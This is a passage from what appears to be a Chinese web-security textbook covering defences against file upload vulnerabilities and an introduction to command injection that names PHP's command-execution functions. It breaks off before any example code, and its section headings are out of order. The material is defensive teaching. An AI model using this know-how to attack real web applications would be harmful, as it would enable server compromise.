洞需要从系统运行、系统开发和系统维护3个阶段进行防范。①

系统运行时的防范文件上传的目录设置为不可执行。判断文件类型。在文件类型检查中,采用白名单方式。使用随机数改写文件名和文件路径,增加攻击的难度。单独设置文件服务器的域名。使用安全设备防御。11.3.4文件上传漏洞的防范②

系统开发阶段的防范系统开发人员应有较强的安全意识,尤其是采用PHP语言开发系统,在系统开发阶段应充分考虑系统的安全性对文件上传漏洞来说,最好能在客户端和服务器端对用户上传的文件名和文件路径等项目分别进行严格的检查。系统运维人员应有较强的安全意思,积极使用多个安全检测工具对系统进行安全扫描,及时发现潜在漏洞并修复。定时查看系统日志和Web服务器日志以发现入侵痕迹。对于整个网站都是使用的开源代码或者使用网上的框架搭建的网站来说,尤其要注意漏洞的自查和软件版本及补丁的更新,上传功能非必选可以直接删除。服务器应进行合理配置,非必选一般的目录都应去掉执行权限,上传目录可配置为只读。③

系统维护阶段的防范11.4命令注入攻防11.4.1命令注入概述命令注入(CommandInjection)攻击是Web应用程序对用户的输入提交的数据过滤不严格,导致攻击者通过构造恶意的特殊命令字符串的方式将数据提交到Web应用程序中,从而执行外部程序或系统命令来进行攻击,非法获取目标服务器的数据资源。命令注入攻击是挪威一名程序员在1997年意外发现的,他通过构造命令字符串的方式从一个网站上删除网页,就像从硬盘中删除一个文件那样简单。本节以PHP命令注入攻击为例进行介绍。11.4.2PHP的命令执行函数在PHP中,命令执行函数的主要作用就是通过Web应用程序执行外部程序或系统命令,PHP中可以实现执行外部程序或系统命令的函数有system、exec、passthru、shell_exec、popen、proc_popen等。①

system函数PHP中system函数用于执行外部程序,返回并输出结果。如果想要获取Web应用程序当前服务器系统的用户信息,就可以通过system函数来获取,11.4.2PHP的命令执行函数变量cmd会动态接收用户输入的命令,作为system函数的命

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论